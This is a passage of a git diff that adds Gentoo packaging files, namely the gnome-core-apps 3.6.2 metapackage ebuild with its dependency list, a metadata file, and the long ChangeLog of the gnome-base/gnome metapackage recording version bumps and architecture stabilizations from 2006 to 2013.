>=net-wireless/gnome-bluetooth-3.6 ) + cdr? ( >=app-cdr/brasero-3.6.1 ) + networkmanager? ( >=gnome-extra/nm-applet-0.9.6.4[bluetooth?] ) +" +DEPEND="" + +S="${WORKDIR}" diff --git a/gnome-base/gnome-core-apps/gnome-core-apps-3.6.2.ebuild b/gnome-base/gnome-core-apps/gnome-core-apps-3.6.2.ebuild new file mode 100644 index 00000000..8b772655 --- /dev/null +++ b/gnome-base/gnome-core-apps/gnome-core-apps-3.6.2.ebuild @@ -0,0 +1,59 @@ +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/gnome-base/gnome-core-apps/gnome-core-apps-3.6.2.ebuild,v 1.6 2013/01/06 09:35:24 ago Exp $ + +EAPI="5" + +DESCRIPTION="Sub-meta package for the core applications integrated with GNOME 3" +HOMEPAGE="http://www.gnome.org/" +LICENSE="metapackage" +SLOT="3.0" +IUSE="+bluetooth +cdr cups +networkmanager totem-dep empathy-dep" + +# when unmasking for an arch +# double check none of the deps are still masked ! +KEYWORDS="~alpha ~amd64 ~ia64 ~ppc ~ppc64 ~sparc ~x86" + +# Note to developers: +# This is a wrapper for the core apps tightly integrated with GNOME 3 +# gtk-engines:2 is still around because it's needed for gtk2 apps +RDEPEND=" + >=gnome-base/gnome-core-libs-${PV}[cups?] + + >=gnome-base/gnome-session-${PV} + >=gnome-base/gnome-menus-3.6.1:3 + >=gnome-base/gnome-settings-daemon-3.6.3[cups?] + >=gnome-base/gnome-control-center-3.6.3[cups?] + + >=app-crypt/gcr-${PV} + >=gnome-base/nautilus-3.6.3 + >=gnome-base/gnome-keyring-${PV} + >=gnome-base/libgnome-keyring-3.6 + >=gnome-extra/evolution-data-server-${PV} + >=gnome-extra/gnome-power-manager-3.6 + >=gnome-extra/gnome-screensaver-3.6.1 + + >=app-crypt/seahorse-3.6.3 + >=app-editors/gedit-${PV} + >=app-text/evince-3.6.1 + >=gnome-extra/gnome-contacts-${PV} + >=media-gfx/eog-${PV} + totem-dep? ( >=media-video/totem-3.6.3 ) + empathy-dep? ( >=net-im/empathy-${PV} ) + >=x11-terms/gnome-terminal-3.6.1 + + >=gnome-extra/gnome-user-docs-${PV} + >=gnome-extra/yelp-${PV} + + >=x11-themes/gtk-engines-2.20.2:2 + >=x11-themes/gnome-icon-theme-${PV} + >=x11-themes/gnome-icon-theme-symbolic-${PV} + >=x11-themes/gnome-themes-standard-${PV} + + bluetooth? ( >=net-wireless/gnome-bluetooth-3.6 ) + cdr? ( >=app-cdr/brasero-3.6.1 ) + networkmanager? ( >=gnome-extra/nm-applet-0.9.6.4[bluetooth?] ) +" +DEPEND="" + +S="${WORKDIR}" diff --git a/gnome-base/gnome-core-apps/metadata.xml b/gnome-base/gnome-core-apps/metadata.xml new file mode 100644 index 00000000..da6fd63d --- /dev/null +++ b/gnome-base/gnome-core-apps/metadata.xml @@ -0,0 +1,5 @@ + + + +gnome + diff --git a/gnome-base/gnome/ChangeLog b/gnome-base/gnome/ChangeLog new file mode 100644 index 00000000..3a095d58 --- /dev/null +++ b/gnome-base/gnome/ChangeLog @@ -0,0 +1,1743 @@ +# ChangeLog for gnome-base/gnome +# Copyright 1999-2013 Gentoo Foundation; Distributed under the GPL v2 +# $Header: /var/cvsroot/gentoo-x86/gnome-base/gnome/ChangeLog,v 1.450 2013/01/06 09:34:33 ago Exp $ + + 06 Jan 2013; Agostino Sarubbo gnome-3.6.2.ebuild: + Add ~sparc, wrt bug #449220 + + 01 Jan 2013; Agostino Sarubbo gnome-3.6.2.ebuild: + Add ~alpha, wrt bug #449220 + + 01 Jan 2013; Agostino Sarubbo gnome-3.6.2.ebuild: + Add ~ia64, wrt bug #449220 + + 31 Dec 2012; Agostino Sarubbo gnome-3.6.2.ebuild: + Add ~ppc64, wrt bug #449220 + + 31 Dec 2012; Agostino Sarubbo gnome-3.6.2.ebuild: + Add ~ppc, wrt bug #449220 + + 26 Dec 2012; Gilles Dartiguelongue gnome-3.6.2.ebuild: + Drop unneeded blank line. + +*gnome-3.6.2 (26 Dec 2012) + + 26 Dec 2012; Gilles Dartiguelongue -gnome-3.2.1.ebuild, + +gnome-3.6.2.ebuild: + Version bump. + + 05 Nov 2012; Ulrich Müller gnome-2.32.1-r2.ebuild, + gnome-3.2.1.ebuild, gnome-3.4.1.ebuild: + Change LICENSE to "metapackage", bug 440846. + + 10 Sep 2012; Alexandre Rostovtsev gnome-3.2.1.ebuild, + gnome-3.4.1.ebuild: + Make bluetooth optional, bug #362613. + +*gnome-3.4.1 (10 Sep 2012) + + 10 Sep 2012; Alexandre Rostovtsev +gnome-3.4.1.ebuild: + Add gnome-3.4.1 meta. + + 15 Jul 2012; Raúl Porcel gnome-2.32.1-r2.ebuild: + alpha/ia64/sparc stable wrt #410611 + + 06 Jun 2012; Samuli Suominen -gnome-2.32.1-r1.ebuild: + old + + 24 May 2012; Samuli Suominen gnome-2.32.1-r2.ebuild: + ppc stable wrt #410611 + + 15 May 2012; Samuli Suominen gnome-2.32.1-r1.ebuild, + gnome-2.32.1-r2.ebuild, gnome-3.2.1.ebuild: + Relax PDEPEND for gnome-base/gvfs wrt USE="udisks" vs. USE="gdu" + + 29 Apr 2012; Markus Meier gnome-2.32.1-r2.ebuild: + x86 stable, bug #410611 + + 19 Apr 2012; Brent Baude gnome-2.32.1-r2.ebuild: + Marking gnome-2.32.1-r2 ppc64 stable for bug 410611 + + 18 Apr 2012; Agostino Sarubbo gnome-2.32.1-r2.ebuild: + Stable for amd64, wrt bug #410611 + + 25 Mar 2012; Pacho Ramos gnome-2.32.1-r2.ebuild: + Fix blocker to not block old slots too, thanks a lot to ulm for the heads up + on IRC. + +*gnome-2.32.1-r2 (25 Mar 2012) + + 25 Mar 2012; Pacho Ramos +gnome-2.32.1-r2.ebuild: + Force people to use a gtk+-3 fixed version for getting proper fallback theming + instead of relying on workarounds. + + 07 Dec 2011; Alexandre Rostovtsev + gnome-2.32.1-r1.ebuild: + Do not pull in libgweather-3 (bug #393253, thanks to megabaks for reporting). + + 21 Nov 2011; Pacho Ramos -gnome-2.32.1.ebuild: + Drop old. + +*gnome-3.2.1 (07 Nov 2011) + + 07 Nov 2011; Alexandre Rostovtsev +gnome-3.2.1.ebuild, + metadata.xml: + Bump to 3.2.1 from the gnome overlay. Uses the new sub-meta packages. Dropped + alpha, ia64, ppc, ppc64, sparc keywords due to new dependencies. Keywording + bug will be filed soon. + + 30 Oct 2011; Raúl Porcel gnome-2.32.1-r1.ebuild: + alpha/ia64/sparc stable wrt #385699 + + 21 Oct 2011; Pawel Hajdan jr gnome-2.32.1-r1.ebuild: + x86 stable wrt bug #385699 + + 16 Oct 2011; Kacper Kowalik gnome-2.32.1-r1.ebuild: + ppc/ppc64 stable wrt #385699 + + 14 Oct 2011; Samuli Suominen gnome-2.32.1-r1.ebuild: + amd64 stable wrt #385699 + + 04 Oct 2011; Pacho Ramos gnome-2.32.1-r1.ebuild: + Prepare metas to inform people about gtk3 theming issues inside Gnome2 and to + pull proper themes for gtk3 apps. + +*gnome-2.32.1-r1 (10 Sep 2011) + + 10 Sep 2011; Pacho Ramos +gnome-2.32.1-r1.ebuild: + Add dconf to fix problems like bug #375101, use + app-admin/system-config-printer-gnome instead of deprecated and unmaintained + net-print/gnome-cups-manager, remove old. + + 19 Aug 2011; Nirbheek Chauhan -gnome-2.30.2.ebuild, + -gnome-2.30.2-r1.ebuild: + Remove old + + 14 Apr 2011; Nirbheek Chauhan gnome-2.30.2.ebuild, + gnome-2.30.2-r1.ebuild, gnome-2.32.1.ebuild: + Restrict version dependency on gnome-media. Newer versions don't install + libgnome-media-profiles. + + 22 Mar 2011; Brent Baude gnome-2.32.1.ebuild: + Marking gnome-2.32.1 ppc stable for bug 353436 + + 21 Mar 2011; Kacper Kowalik gnome-2.32.1.ebuild: + ppc64 stable wrt #353436 + + 22 Mar 2011; Nirbheek Chauhan gnome-2.30.2.ebuild, + gnome-2.30.2-r1.ebuild: + Fix slot-dep on gtk-engines + + 16 Mar 2011; Nirbheek Chauhan + gnome-2.30.2-r1.ebuild, gnome-2.32.1.ebuild: + Fix epiphany deps, bug 323857 + + 16 Mar 2011; Nirbheek Chauhan gnome-2.30.2.ebuild, + gnome-2.30.2-r1.ebuild, gnome-2.32.1.ebuild: + Fix slot-deps on gtk+ and other libs + + 12 Mar 2011; Raúl Porcel gnome-2.32.1.ebuild: + alpha/ia64/sparc stable wrt #353436 + + 11 Mar 2011; Pacho Ramos -gnome-2.32.0.ebuild, + gnome-2.32.1.ebuild: + Drop libgnomeprint dependencies as they deprecated and unsupported for a long + time (bug #352952), pin dependencies to proper slots, remove old. + + 24 Feb 2011; Thomas Kahle gnome-2.32.1.ebuild: + x86 stable per bug 353436 + + 23 Feb 2011; Markos Chandras gnome-2.32.1.ebuild: + Stable on amd64 wrt bug #353436 + + 11 Feb 2011; Samuli Suominen gnome-2.32.0.ebuild, + gnome-2.32.1.ebuild: + Remove unnecessary gnome-base/libgnomeui depend. + + 07 Feb 2011; Pacho Ramos gnome-2.32.1.ebuild: + Drop ekiga RDEPEND as talked with the rest of the team since it's mainly + being maintained by voip and isn't even in Gnome3 list. + + 07 Feb 2011; Samuli Suominen gnome-2.30.2.ebuild, + gnome-2.30.2-r1.ebuild, gnome-2.32.0.ebuild, gnome-2.32.1.ebuild: + Remove deprecated information about plugdev group. Replaced by authorization + from ConsoleKit and PolicyKit. + +*gnome-2.32.1 (01 Feb 2011) + + 01 Feb 2011; Pacho Ramos +gnome-2.32.1.ebuild: + Version bump. + + 30 Jan 2011; Raúl Porcel gnome-2.30.2-r1.ebuild: + alpha/ia64/sparc stable wrt #348987 + + 27 Jan 2011; Kacper Kowalik gnome-2.32.0.ebuild: + added ~ppc wrt #348984 + + 19 Jan 2011; Markos Chandras gnome-2.30.2-r1.ebuild: + Stable on amd64 wrt bug #348987 + + 19 Jan 2011; Pacho Ramos gnome-2.30.2-r1.ebuild, + gnome-2.32.0.ebuild: + Lower ekiga. + + 19 Jan 2011; Pacho Ramos gnome-2.30.2-r1.ebuild, + gnome-2.32.0.ebuild: + Lower gcalctool and gnome-games requirements as their .30. versions are not + ready. Drop ppc keyword due bug #348984. + + 18 Jan 2011; Christian Faulhammer + gnome-2.30.2-r1.ebuild: + x86 stable, bug 348987 + + 15 Jan 2011; gnome-2.30.2.ebuild, + gnome-2.30.2-r1.ebuild, gnome-2.32.0.ebuild: + libgweather slotmove 0 -> 2, new gtk+:3 version coming up + +*gnome-2.32.0 (16 Dec 2010) + + 16 Dec 2010; Gilles Dartiguelongue +gnome-2.32.0.ebuild: + Add meta for Gnome 2.32. + +*gnome-2.30.2-r1 (10 Nov 2010) + + 10 Nov 2010; Gilles Dartiguelongue + +gnome-2.30.2-r1.ebuild: + Update dependencies for a pseudo 2.30.3. + + 08 Nov 2010; Arun Raghavan gnome-2.30.2.ebuild: + Clarify gnome-desktop dep as being slot 2 + + 05 Nov 2010; Pacho Ramos -gnome-2.26.3.ebuild, + -gnome-2.28.2.ebuild: + Remove old. + + 01 Nov 2010; Samuli Suominen gnome-2.30.2.ebuild: + ppc64 stable wrt #324077 + + 17 Oct 2010; Raúl Porcel gnome-2.30.2.ebuild: + alpha/ia64/sparc stable wrt #324077 + + 11 Sep 2010; Joseph Jezak gnome-2.30.2.ebuild: + Marked ppc for bug #324077. + + 14 Aug 2010; Raúl Porcel gnome-2.30.2.ebuild: + Drop sh + + 14 Aug 2010; Raúl Porcel gnome-2.28.2.ebuild: + alpha/ia64/sparc stable wrt #314899 + + 11 Aug 2010; Joseph Jezak gnome-2.28.2.ebuild, + gnome-2.30.2.ebuild: + Marked ~ppc for bug #313563. + + 03 Aug 2010; Nirbheek Chauhan gnome-2.30.2.ebuild: + Reduce requirements for gcalctool and gnome-games. They have feature + regressions, and should not have gone stable. + + 01 Aug 2010; Christian Faulhammer gnome-2.30.2.ebuild: + x86 stable, bug 324077 + + 31 Jul 2010; Pacho Ramos gnome-2.30.2.ebuild: + amd64 stable, bug 324077 + + 12 Jul 2010; Pacho Ramos gnome-2.30.2.ebuild: + Rekeyword on sparc,sh,ia64 and alpha now that bug #323831 is solved for + them. + + 12 Jul 2010; Pacho Ramos gnome-2.26.3.ebuild: + Drop gnome-extra/nautilus-cd-burner references since it will be dropped + soon. + +*gnome-2.30.2 (09 Jul 2010) + + 09 Jul 2010; Pacho Ramos +gnome-2.30.2.ebuild: + Version bump. + + 06 Jul 2010; Samuli Suominen gnome-2.28.2.ebuild: + Keyword ~ppc64 wrt #313563 + + 04 Jun 2010; Markus Meier gnome-2.28.2.ebuild: + x86 stable, bug #314899 + + 22 May 2010; Raúl Porcel gnome-2.28.2.ebuild: + Add ~alpha/~ia64/~sparc wrt #313563 + + 03 May 2010; Olivier Crête gnome-2.28.2.ebuild: + amd64 stable, bug #314899 + + 25 Apr 2010; Pacho Ramos gnome-2.28.2.ebuild: + Lower ekiga requeriment since 3.x is not ready to be stabilized yet as + talked with voip herd. + + 12 Apr 2010; Gilles Dartiguelongue -gnome-2.28.1.ebuild, + gnome-2.28.2.ebuild: + Drop esound dependency from gnome 2.28. Clean up old revision. + + 30 Mar 2010; Pacho Ramos gnome-2.28.2.ebuild: + Add a policykit USE flag as suggested by Gilles to make sure users get a + visual feedback when they don't have the correct priviledges. Added as an + optional RDEPEND since local tests and reviewing seem to indicate it + doesn't add any circular deps problem. + + 30 Mar 2010; Pacho Ramos gnome-2.28.2.ebuild: + Lower epiphany to 2.26.3-r3 since 2.28 is not ready to go stable and that + 2.26 revision fixes important bugs over previous ones. + + 06 Mar 2010; Nirbheek Chauhan gnome-2.28.2.ebuild: + Fix bug 306431 by adding a dependency on gvfs[gdu]. Also move it to + PDEPEND to prevent circular dependencies (gnome -> nautilus, gvfs[gdu] -> + gnome-disk-utility[nautilus] -> nautilus) + +*gnome-2.28.2 (24 Feb 2010) + + 24 Feb 2010; Gilles Dartiguelongue -gnome-2.24.1.ebuild, + +gnome-2.28.2.ebuild: + Version bump. Drop a couple of deprecated/add new dependencies. + +*gnome-2.28.1 (15 Jan 2010) + + 15 Jan 2010; Gilles Dartiguelongue -gnome-2.26.2.ebuild, + +gnome-2.28.1.ebuild: + Version bump. + + 03 Dec 2009; Brent Baude gnome-2.26.3.ebuild: + Marking gnome-2.26.3 ppc64 stable for bug 281427 + + 28 Nov 2009; Raúl Porcel gnome-2.26.3.ebuild: + alpha/ia64/sparc stable wrt #281427 + + 23 Nov 2009; Raúl Porcel gnome-2.26.2.ebuild, + gnome-2.26.3.ebuild: + Re-add ~ia64/~sparc + + 24 Oct 2009; nixnut gnome-2.26.3.ebuild: + ppc stable #281427 + + 18 Oct 2009; nixnut gnome-2.26.3.ebuild: + ~ppc'd + + 17 Oct 2009; Markus Meier gnome-2.26.3.ebuild: + x86 stable, bug #281427 + + 08 Oct 2009; Olivier Crête gnome-2.26.3.ebuild: + Stable on amd64, bug #281427 + + 02 Oct 2009; Mart Raudsepp gnome-2.26.3.ebuild: + Reduce gnome-power-manager dependency to 2.22.1 - we are staying with that + for now. Reduce tomboy dependency to allow immediate stabilization - we do + not need newer in the short term + + 27 Jul 2009; Gilles Dartiguelongue gnome-2.26.2.ebuild, + gnome-2.26.3.ebuild: + Remove eel from RDEPEND since it is deprecated an unused in gnome 2.26. + Clean up gnome-python-desktop dependency, bug #278828. + +*gnome-2.26.3 (27 Jul 2009) + + 27 Jul 2009; Gilles Dartiguelongue -gnome-2.22.3.ebuild, + gnome-2.26.2.ebuild, +gnome-2.26.3.ebuild: + Version bump for GNOME 2.26.3. + +*gnome-2.26.2 (28 May 2009) + + 28 May 2009; Gilles Dartiguelongue +gnome-2.26.2.ebuild: + New version for GNOME 2.26.2. + + 28 Apr 2009; Mounir Lamouri gnome-2.22.3.ebuild, + gnome-2.24.1.ebuild: + Change net-im/ekiga to net-voip/ekiga. + + 12 Apr 2009; Friedrich Oslage gnome-2.24.1.ebuild: + Stable on sparc, bug #260063 + + 06 Apr 2009; Gilles Dartiguelongue gnome-2.24.1.ebuild: + Add ~sparc keyword since they satisfy all dependencies, bug #262744. + + 03 Apr 2009; Joseph Jezak gnome-2.24.1.ebuild: + Marked ppc/ppc64 stable for bug #262744. + + 19 Mar 2009; Joseph Jezak gnome-2.24.1.ebuild: + Marked ~ppc/~ppc64. + + 18 Mar 2009; Raúl Porcel gnome-2.24.1.ebuild: + alpha/ia64 stable wrt #260063 + + 16 Mar 2009; Gilles Dartiguelongue -gnome-2.20.3.ebuild, + -gnome-2.22.2.ebuild, gnome-2.22.3.ebuild: + Clean up old revisions. Mark 2.22.3 ppc since repoman says deps are + satisfied. + + 15 Mar 2009; Markus Meier gnome-2.24.1.ebuild: + x86 stable, bug #260063 + + 11 Mar 2009; Daniel Gryniewicz gnome-2.24.1.ebuild: + Marked stable on amd64 + + 04 Mar 2009; Gilles Dartiguelongue gnome-2.24.1.ebuild: + Downgrade gstreamer requirements to 0.10.20 for gnome 2.24 stabilization + requirements, bug #260063. + +*gnome-2.24.1 (12 Dec 2008) + + 12 Dec 2008; Mart Raudsepp +gnome-2.24.1.ebuild: + Preliminary meta package for GNOME-2.24 + + 29 Nov 2008; Gilles Dartiguelongue -gnome-2.22.0.ebuild, + -gnome-2.22.1.ebuild: + Clean up old revisions. + + 13 Nov 2008; Brent Baude gnome-2.22.3.ebuild: + Marking gnome-2.22.3 ppc64 stable for bug 236971 + + 26 Oct 2008; Markus Rothe gnome-2.22.3.ebuild: + Make gnome-power-manager a dependency on ppc64 again. hal got keyworded and + so gnome-power-manager got the ~ppc64 keyword again + + 25 Sep 2008; Jeroen Roovers gnome-2.22.0.ebuild, + gnome-2.22.1.ebuild, gnome-2.22.2.ebuild: + Drop further hppa keywords (bug #218794 comment #26). + + 11 Sep 2008; Jeroen Roovers gnome-2.22.3.ebuild: + Dropping ~hppa keyword for now (bug #237026). + + 09 Sep 2008; Raúl Porcel gnome-2.22.3.ebuild: + alpha/ia64/sparc stable wrt #236971 + + 08 Sep 2008; Markus Meier gnome-2.22.3.ebuild: + x86 stable, bug #236971 + + 07 Sep 2008; Olivier Crête gnome-2.22.3.ebuild: + amd64 stable, bug #236971 + + 12 Aug 2008; Raúl Porcel gnome-2.22.2.ebuild: + alpha/ia64/sparc stable wrt #229709 + + 10 Aug 2008; Raúl Porcel gnome-2.22.2.ebuild: + x86 stable wrt #229709 + + 30 Jul 2008; Brent Baude gnome-2.22.2.ebuild: + Marking gnome-2.22.2 ppc stable for bug 229709 + + 26 Jul 2008; Olivier Crête gnome-2.22.2.ebuild: + Stable on amd64, bug #229709 + +*gnome-2.22.3 (16 Jul 2008) +*gnome-2.22.2 (16 Jul 2008) + + 16 Jul 2008; Gilles Dartiguelongue +gnome-2.22.2.ebuild, + +gnome-2.22.3.ebuild: + add metas for gnome 2.22.2 and 2.22.3. + + 05 Jun 2008; Rémi Cardona gnome-2.20.3.ebuild, + gnome-2.22.0.ebuild, gnome-2.22.1.ebuild: + pkgmove to gnome-base/gnome-control-center + + 01 Jun 2008; Rémi Cardona gnome-2.20.3.ebuild, + gnome-2.22.0.ebuild, gnome-2.22.1.ebuild: + pkgmove from gnome2-user-docs to gnome-user-docs + + 01 Jun 2008; nixnut ChangeLog: + Added ~ppc wrt bug 218794 + + 08 May 2008; Gilles Dartiguelongue gnome-2.22.1.ebuild: + lower tomboy dep since nobody is taking care of it and I want to remove + the mask on the meta. + + 12 Apr 2008; Gilles Dartiguelongue gnome-2.20.3.ebuild: + Remove gnome-system-tools 2.14 from RDEPEND to all because it is starting + to cause more headache to keep it than to mask it. + +*gnome-2.22.1 (10 Apr 2008) + + 10 Apr 2008; Rémi Cardona +gnome-2.22.1.ebuild: + Bump to 2.22.1, mostly bugfix and translations + + 03 Apr 2008; Mart Raudsepp gnome-2.22.0.ebuild: + Remove gnome-system-tools until at least it is compatible with + nautilus-2.22 + + 01 Apr 2008; Mart Raudsepp gnome-2.22.0.ebuild: + Change the post-installation message to be correct regarding USE=fam + behaviour and add the last GNOME-2.22 packages to the list + +*gnome-2.22.0 (28 Mar 2008) + + 28 Mar 2008; Mart Raudsepp +gnome-2.22.0.ebuild: + Adding meta package for GNOME-2.22. gnome-keyring-manager is replaced by + seahorse; mousetweaks, vinagre and swfdec-gnome are new GNOME modules. + + 09 Mar 2008; Mart Raudsepp -gnome-2.18.3.ebuild, + -gnome-2.20.1.ebuild, -gnome-2.20.2.ebuild: + Remove GNOME 2.18 + + 04 Feb 2008; Jeroen Roovers gnome-2.20.3.ebuild: + Stable for HPPA (bug #208366). + + 03 Feb 2008; Raúl Porcel gnome-2.20.3.ebuild: + alpha/ia64/sparc stable wrt #208366 + + 02 Feb 2008; Chris Gianelloni gnome-2.20.3.ebuild: + Stable on amd64 wrt bug #208366. + + 01 Feb 2008; Brent Baude gnome-2.20.3.ebuild: + Marking gnome-2.20.3 ppc64 and ppc stable for bug 208366 + + 01 Feb 2008; Gilles Dartiguelongue gnome-2.20.3.ebuild: + lower evolution, gstreamer and gstreamer-plugins-base by one + + 01 Feb 2008; Christian Faulhammer gnome-2.20.3.ebuild: + stable x86, bug 208366 + + 29 Jan 2008; Daniel Gryniewicz gnome-2.18.2-r1.ebuild, + gnome-2.18.3.ebuild, gnome-2.20.0.ebuild, gnome-2.20.1.ebuild, + gnome-2.20.2.ebuild, gnome-2.20.3.ebuild: + Add a slot dep on libsoup to prepare for the new 2.4 slot + +*gnome-2.20.3 (27 Jan 2008) + + 27 Jan 2008; Mart Raudsepp +gnome-2.20.3.ebuild: + Adding meta for 2.20.3 + + 21 Jan 2008; Jeroen Roovers gnome-2.20.1.ebuild: + Stable for HPPA (bug #199740). + +*gnome-2.20.2 (02 Jan 2008) + + 02 Jan 2008; Gilles Dartiguelongue +gnome-2.20.2.ebuild: + bump to gnome 2.20.2 + + 11 Dec 2007; Mart Raudsepp -gnome-2.16.3.ebuild: + Removing GNOME-2.16 + + 26 Nov 2007; Markus Rothe gnome-2.20.1.ebuild: + Stable on ppc64; bug #199740 + + 24 Nov 2007; Brent Baude gnome-2.20.1.ebuild: + Marking gnome-2.20.1 ppc stable for bug 199740 + + 24 Nov 2007; Markus Rothe gnome-2.20.1.ebuild: + Make gnome-power-manager not a dependency on ppc64 for 2.20.1, too. (Same + change as for 2.18.3 on 15. Nov 2007) + + 22 Nov 2007; Raúl Porcel gnome-2.20.1.ebuild: + alpha/ia64/sparc stable wrt #199740 + + 21 Nov 2007; Dawid WÄ™gliÅ„ski gnome-2.20.1.ebuild: + Stable on x86 (bug #199740) + + 20 Nov 2007; Samuli Suominen gnome-2.20.1.ebuild: + amd64 stable wrt #199740 + + 17 Nov 2007; nixnut gnome-2.20.0.ebuild, + gnome-2.20.1.ebuild: + Added ~ppc wrt bug 196360 + + 15 Nov 2007; Markus Rothe gnome-2.18.3.ebuild: + Make gnome-power-manager not a dependency on ppc64 and mark it stable on + ppc64. Bug #199218 + + 06 Nov 2007; Raúl Porcel gnome-2.18.3.ebuild: + sparc stable wrt #193339 + +*gnome-2.20.1 (31 Oct 2007) + + 31 Oct 2007; Gilles Dartiguelongue +gnome-2.20.1.ebuild: + bump to 2.20.1, dasher is now in sync again + + 23 Oct 2007; Raúl Porcel gnome-2.20.0.ebuild: + Add ~ia64/~sparc wrt #196360 + + 22 Oct 2007; Jeroen Roovers gnome-2.20.0.ebuild: + Marked ~hppa (bug #196360). + + 22 Oct 2007; Raúl Porcel gnome-2.20.0.ebuild: + Add ~alpha wrt #196360 + + 19 Oct 2007; gnome-2.20.0.ebuild: + Drop keywords for arches that do not have yelp-2.20 keyworded yet + + 18 Oct 2007; Daniel Gryniewicz gnome-2.20.0.ebuild: + Add esd flag from overlay + +*gnome-2.20.0 (18 Oct 2007) + + 18 Oct 2007; Gilles Dartiguelongue +gnome-2.20.0.ebuild: + bump to 2.20.0, update all deps to match upstream list except for dasher which is still masked for compilation issues + + 12 Oct 2007; Rémi Cardona gnome-2.16.3.ebuild, + gnome-2.18.2-r1.ebuild, gnome-2.18.3.ebuild: + update gtksourceview deps (see bug #195366) + + 27 Sep 2007; Raúl Porcel gnome-2.18.3.ebuild: + alpha/ia64 stable wrt #193339 + + 25 Sep 2007; Jeroen Roovers gnome-2.18.3.ebuild: + Stable for HPPA (bug #193339). + + 22 Sep 2007; Tobias Scherbaum gnome-2.18.3.ebuild: + ppc stable, bug #193339 + + 21 Sep 2007; Mart Raudsepp gnome-2.18.3.ebuild: + Lower gnome-mag requirement + + 21 Sep 2007; Chris Gianelloni gnome-2.18.3.ebuild: + Stable on amd64 wrt bug #193339. + + 21 Sep 2007; Chris Gianelloni gnome-2.18.3.ebuild: + Stable on x86 wrt bug #193339. + + 21 Sep 2007; Mart Raudsepp gnome-2.18.3.ebuild: + Lower ekiga requirement + +*gnome-2.18.3 (08 Sep 2007) + + 08 Sep 2007; Mart Raudsepp +gnome-2.18.3.ebuild: + Add 2.18.3 mostly reflecting package versions as was for upstream 2.18.3 + + 28 Aug 2007; Jeroen Roovers gnome-2.18.2-r1.ebuild: + Stable for HPPA (bug #185823). + + 11 Aug 2007; Mart Raudsepp -gnome-2.14.2.ebuild, + -gnome-2.18.0.ebuild, -gnome-2.18.2.ebuild: + Removing GNOME-2.14, also old 2.18 versions + + 11 Aug 2007; Andrej Kacian gnome-2.18.2-r1.ebuild: + Stable on x86, bug #185823. + + 10 Aug 2007; Christoph Mende gnome-2.18.2-r1.ebuild: + Stable on amd64 wrt bug #185823 + + 08 Aug 2007; Raúl Porcel gnome-2.18.2-r1.ebuild: + alpha/ia64 stable wrt #185823 + + 07 Aug 2007; Tobias Scherbaum + gnome-2.18.2-r1.ebuild: + Stable on ppc wrt bug #185823. + + 07 Aug 2007; Gustavo Zacarias + gnome-2.18.2-r1.ebuild: + Stable on sparc wrt #185823 + + 05 Aug 2007; Mart Raudsepp gnome-2.18.2-r1.ebuild: + Lower the minimum version requirements for ekiga, dasher, gnome-mag and + gnome-speech in order to not have to rush these to stable yet + +*gnome-2.18.2-r1 (04 Aug 2007) + + 04 Aug 2007; +gnome-2.18.2-r1.ebuild: + Added mono use flag for tomboy which is part of the official Gnome + Platform. + +*gnome-2.18.2 (27 Jul 2007) + + 27 Jul 2007; Mart Raudsepp -gnome-2.16.2.ebuild, + +gnome-2.18.2.ebuild: + Add 2.18.2 mostly reflecting package versions as was for upstream 2.18.2; + remove old 2.16.2 version + + 25 Jul 2007; Raúl Porcel gnome-2.16.3.ebuild: + alpha stable wrt #171107 + + 10 Jul 2007; Mart Raudsepp gnome-2.18.0.ebuild: + Remove ppc64 keyword from 2.18.0, as they don't have a keyword on + gnome-power-manager yet + + 06 Jul 2007; Roy Marples gnome-2.18.0.ebuild: + Keyworded x86-fbsd + + 20 Jun 2007; Daniel Gryniewicz gnome-2.14.2.ebuild, + gnome-2.16.2.ebuild, gnome-2.16.3.ebuild, gnome-2.18.0.ebuild: + use emerge --unmerge, not emerge unmerge; bug #182219 + + 19 Jun 2007; Raúl Porcel gnome-2.16.3.ebuild: + ia64 stable wrt #171107 + + 02 Jun 2007; Brent Baude gnome-2.16.3.ebuild: + Marking gnome-2.16.3 ppc stable for bug #171107 + + 31 May 2007; Jeroen Roovers gnome-2.16.3.ebuild: + Stable for HPPA (bug #171107). + + 31 May 2007; Daniel Gryniewicz gnome-2.16.3.ebuild: + Marked stable on amd64 for bug #171107 + + 31 May 2007; Brent Baude gnome-2.16.3.ebuild: + Marking gnome-2.16.3 ppc64 stable for bug #171107 + + 29 May 2007; Andrej Kacian gnome-2.16.3.ebuild: + Stable on x86, bug #171107. + + 29 May 2007; Gustavo Zacarias gnome-2.16.3.ebuild: + Stable on sparc wrt #171107 + +*gnome-2.16.3 (21 May 2007) + + 21 May 2007; -gnome-2.16.1.ebuild, +gnome-2.16.3.ebuild: + Add 2.16.3 mostly reflecting package versions as was for upstream 2.16.3; + remove old 2.16.1 version + + 01 May 2007; Daniel Gryniewicz gnome-2.18.0.ebuild: + Remove hal use flag; it was a false hope that the gnome meta can be emerged + without hal + + 23 Apr 2007; Daniel Gryniewicz gnome-2.18.0.ebuild: + remove gnopernicus; orca replaces it + + 23 Apr 2007; Daniel Gryniewicz gnome-2.18.0.ebuild: + Add orca to 2.18.0 meta + +*gnome-2.18.0 (09 Apr 2007) + + 09 Apr 2007; Remi Cardona +gnome-2.18.0.ebuild: + gnome-2.18.0 meta ebuild + + 27 Mar 2007; Raúl Porcel gnome-2.16.2.ebuild: + add ia64 stable keyword again wrt bug 142482 + + 04 Feb 2007; Markus Rothe gnome-2.16.2.ebuild: + Stable on ppc64; bug #164978 + + 03 Feb 2007; Andrej Kacian gnome-2.16.2.ebuild: + Stable on x86, bug #164978. + + 03 Feb 2007; Tobias Scherbaum gnome-2.16.2.ebuild: + Stable on ppc wrt bug #164978. + + 03 Feb 2007; Olivier Crête gnome-2.16.2.ebuild: + Stable on amd64 per bug #164978 + + 01 Feb 2007; Gustavo Zacarias gnome-2.16.2.ebuild: + Stable on sparc + + 19 Jan 2007; Jeroen Roovers gnome-2.16.2.ebuild: + Stable for HPPA (bug #147751). + + 14 Jan 2007; Bryan Østergaard gnome-2.16.2.ebuild: + Stable on Alpha. + +*gnome-2.16.2 (14 Jan 2007) + + 14 Jan 2007; Mart Raudsepp -gnome-2.16.0.ebuild, + -gnome-2.16.0-r1.ebuild, +gnome-2.16.2.ebuild: + Add 2.16.2 reflecting package versions as was for upstream 2.16.2; remove + old 2.16.0 + + 14 Jan 2007; Bryan Østergaard gnome-2.16.1.ebuild: + Stable on Alpha. + + 26 Dec 2006; Tom Gall gnome-2.16.1.ebuild: + added ~ppc64 + + 18 Dec 2006; Gustavo Zacarias 